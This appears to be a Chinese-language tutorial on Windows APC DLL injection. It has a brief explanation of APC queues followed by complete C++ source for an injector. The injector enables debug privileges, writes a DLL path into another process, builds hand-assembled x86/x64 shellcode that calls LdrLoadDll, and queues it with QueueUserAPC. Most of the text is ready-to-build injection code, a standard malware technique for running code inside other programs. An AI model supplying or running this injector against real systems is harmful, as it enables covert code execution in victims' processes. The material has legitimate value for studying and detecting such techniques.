APC(Asynchronous Procedure Call,异步过程调用)是在一个特定线程环境下被异步执行的函数,分为用户模式APC和内核模式APC。每个线程都有一个APC队列。在用户模式下,当线程调用SleepEx、WaitForSingleObjectEx等进入"Alterable WaitStatus"状态(可警告的等待状态)的时候,系统会遍历该进程的APC队列,然后按照先进先出的顺序来执行这些APC。
在用户模式下,微软提供了QueueUerAPC这个API来向一个线程插入APC。
声明如下: WINBASEAPI DWORD WINAPI QueueUserAPC( _In_ PAPCFUNC pfnAPC, _In_ HANDLE hThread, _In_ ULONG_PTR dwData ); pfnAPC:指向一个APC函数 hThread:将要插入APC的线程句柄 dwData:APC函数的参数
先右键项目,点击属性->链接器->系统->子系统 选择窗口(/SUBSYSTEM:Windows)
然后将_tmain()函数改为WinMain()函数
// LoadExe.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <Windows.h> #include <iostream> using namespace std; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _INJECT_STRUCT { UINT_PTR LdrLoadDllAddress; //4 UNICODE_STRING DllFullPath; //4,4 HANDLE OutHandle; } INJECT_STRUCT, *PINJECT_STRUCT; int GrantDebugPrivileges(); BOOL InjectByAPC(int ProcessID,int ThreadID,const char *szDllFullPath); UINT32 MakeShellCode(UINT8* ShellCodeData, PVOID Address); int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { int ProcessID = 0; int ThreadID = 0; if (__argc < 2) { return -1; } if (!strcmp(__argv[1], "Inject")) { GrantDebugPrivileges(); ProcessID = atoi(__argv[2]); ThreadID = atoi(__argv[3]); return InjectByAPC(ProcessID, ThreadID, __argv[4]); } return 0; } int GrantDebugPrivileges() { HANDLE TokenHandle = NULL; TOKEN_PRIVILEGES PrivilegesToken; LUID v1; int iRet; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle)) { return 0; } if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &v1)) { CloseHandle(TokenHandle); return 0; } PrivilegesToken.PrivilegeCount = 1; PrivilegesToken.Privileges[0].Luid = v1; PrivilegesToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iRet = AdjustTokenPrivileges(TokenHandle, FALSE, &PrivilegesToken, sizeof(PrivilegesToken), NULL, NULL); CloseHandle(TokenHandle); return iRet; } BOOL InjectByAPC(int ProcessID,int ThreadID,const char *szDllFullPath) { HANDLE ProcessHandle = NULL; HANDLE ThreadHandle = NULL; if (ProcessID <= 0 || ThreadID < 0) { return FALSE; } printf("Success "); ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID); //打开系统所有进程 if (ProcessHandle == NULL) { return FALSE; } if (ThreadID > 0) { ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadID);//打开所有线程 if (ThreadHandle == NULL) { CloseHandle(ProcessHandle); return FALSE; } } //注入都要在目标进程空间中申请内存 写入Dll的绝对路径 UINT32 DllPathLength = 0; DllPathLength = (UINT32)strlen(szDllFullPath); WCHAR* wzDllFullPath = (WCHAR*)calloc(1, (DllPathLength + 1) * sizeof(WCHAR)); //在LoadEx进程空间中 if (wzDllFullPath == NULL) { return FALSE; } for (int i=0;i<DllPathLength;i++) { wzDllFullPath[i] = (UINT16)szDllFullPath[i]; } //单字转换双字 WCHAR* wzDllFullPathData = (WCHAR*)VirtualAllocEx(ProcessHandle, NULL, (wcslen(wzDllFullPath) + 1) * sizeof(WCHAR), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (wzDllFullPathData == NULL) { free(wzDllFullPath); wzDllFullPath = NULL; return FALSE; } SIZE_T ReturnSize = 0; if (!WriteProcessMemory(ProcessHandle, wzDllFullPathData, wzDllFullPath, (wcslen(wzDllFullPath) + 1) * sizeof(WCHAR), &ReturnSize)) { free(wzDllFullPath); wzDllFullPath = NULL; return FALSE; } LPVOID LdrLoadDll; LdrLoadDll = GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll"); //LadrloadDll导出地址 INJECT_STRUCT InjectStruct = {0}; InjectStruct.LdrLoadDllAddress = (UINT_PTR)LdrLoadDll; InjectStruct.DllFullPath.Buffer = wzDllFullPathData; InjectStruct.DllFullPath.Length = InjectStruct.DllFullPath.MaximumLength = (USHORT)(wcslen(wzDllFullPath) * sizeof(WCHAR)); PINJECT_STRUCT InjectStructData = NULL; //注:VirtualAllocEx()函数是在别人的内存空间中申请内存 InjectStructData = (PINJECT_STRUCT)VirtualAllocEx(ProcessHandle, NULL, sizeof(INJECT_STRUCT), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (InjectStructData == NULL) { free(wzDllFullPath); wzDllFullPath = NULL; return FALSE; } if (!WriteProcessMemory(ProcessHandle, InjectStructData, &InjectStruct, sizeof(INJECT_STRUCT), &ReturnSize)) { free(wzDllFullPath); wzDllFullPath = NULL; return FALSE; } char szShellCode[64] = {0}; UINT32 ShellCodeSize = MakeShellCode((UINT8*)szShellCode, InjectStructData); CHAR* szShellCodeData = NULL; szShellCodeData =(CHAR*)VirtualAllocEx(ProcessHandle, NULL, ShellCodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (szShellCodeData == NULL) { free(wzDllFullPath); wzDllFullPath = NULL; return FALSE; } if (!WriteProcessMemory(ProcessHandle, szShellCodeData, szShellCode, ShellCodeSize, &ReturnSize)) { free(wzDllFullPath); wzDllFullPath = NULL; return FALSE; } if (ThreadHandle) { if(!QueueUserAPC((PAPCFUNC)szShellCodeData,ThreadHandle, (ULONG_PTR)InjectStructData)) { free(wzDllFullPath); wzDllFullPath = NULL; return FALSE; } } free(wzDllFullPath); wzDllFullPath = NULL; return TRUE; } UINT32 MakeShellCode(UINT8* ShellCodeData, PVOID Address) { #ifndef _WIN64 ShellCodeData[0] = 0xb8; // mov eax, InjectStructData memcpy(&ShellCodeData[1], &Address, sizeof(Address)); ShellCodeData[5] = 0x53; // push ebx //保存ebx ShellCodeData[6] = 0x8d; // lea ebx, InjectStructData+offsetof(INJECT_STRUCT.OutHandle) ShellCodeData[7] = 0x58; ShellCodeData[8] = (UINT8)offsetof(INJECT_STRUCT, OutHandle); ShellCodeData[9] = 0x53; // push ebx ; ModuleHandle arg ShellCodeData[10] = 0x8d; // lea ebx, InjectStructData+offsetof(INJECT_STRUCT.DllFullPath) ShellCodeData[11] = 0x58; ShellCodeData[12] = (UINT8)offsetof(INJECT_STRUCT, DllFullPath); ShellCodeData[13] = 0x53; // push ebx ; ModuleFileName arg ShellCodeData[14] = 0x6a; // push 0 (flags arg) ShellCodeData[15] = 0x00; ShellCodeData[16] = 0x6a; // push 0 (PathToFile arg) ShellCodeData[17] = 0x00; ShellCodeData[18] = 0x8b; // mov ebx, InjectStructData+offsetof(INJECT_STRUCT.LdrLoadDllAddress) ShellCodeData[19] = 0x58; ShellCodeData[20] = (UCHAR)offsetof(INJECT_STRUCT, LdrLoadDllAddress); ShellCodeData[21] = 0xff; // call ebx ShellCodeData[22] = 0xd3; ShellCodeData[23] = 0x5b; // pop ebx ShellCodeData[24] = 0xc2; // retn 0x4 ShellCodeData[25] = 0x04; ShellCodeData[26] = 0x00; return 27; #else ShellCodeData[0] = 0x53; // push rbx ShellCodeData[1] = 0x48; // sub rsp, 0x20 ShellCodeData[2] = 0x83; ShellCodeData[3] = 0xec; ShellCodeData[4] = 0x20; ShellCodeData[5] = 0x48; // mov rax, rcx (InjectStructData) ShellCodeData[6] = 0x8b; ShellCodeData[7] = 0xc1; ShellCodeData[8] = 0x48; // lea rbx, Address+offsetof(INJECT_STRUCT.OutHandle) ShellCodeData[9] = 0x8d; ShellCodeData[10] = 0x58; ShellCodeData[11] = (UINT8)offsetof(INJECT_STRUCT, OutHandle); ShellCodeData[12] = 0x49; // mov r9, rbx ; ModuleHandle arg ShellCodeData[13] = 0x89; ShellCodeData[14] = 0xd9; ShellCodeData[15] = 0x48; // lea rbx, injstructaddr+offsetof(INJECT_STRUCT.DllFullPath) ShellCodeData[16] = 0x8d; ShellCodeData[17] = 0x58; ShellCodeData[18] = (UINT8)offsetof(INJECT_STRUCT, DllFullPath); ShellCodeData[19] = 0x49; // mov r8, rbx ; ModuleFileName arg ShellCodeData[20] = 0x89; ShellCodeData[21] = 0xd8; ShellCodeData[22] = 0x48; // xor rdx, rdx ; Flags arg ShellCodeData[23] = 0x31; ShellCodeData[24] = 0xd2; ShellCodeData[25] = 0x48; // xor rcx, rcx ; PathToFile arg ShellCodeData[26] = 0x31; ShellCodeData[27] = 0xd1; ShellCodeData[28] = 0x48; // mov rbx, Address+offsetof(INJECT_STRUCT.LdrLoadDllAddress) ShellCodeData[29] = 0x8b; ShellCodeData[30] = 0x58; ShellCodeData[31] = (UINT8)offsetof(INJECT_STRUCT, LdrLoadDllAddress); ShellCodeData[32] = 0xff; // call rbx ShellCodeData[33] = 0xd3; ShellCodeData[34] = 0x48; // add rsp, 0x20 ShellCodeData[35] = 0x83; ShellCodeData[36] = 0xc4; ShellCodeData[37] = 0x20; ShellCodeData[38] = 0x5b; // pop rbx ShellCodeData[39] = 0xc3; // ret return 40; #endif }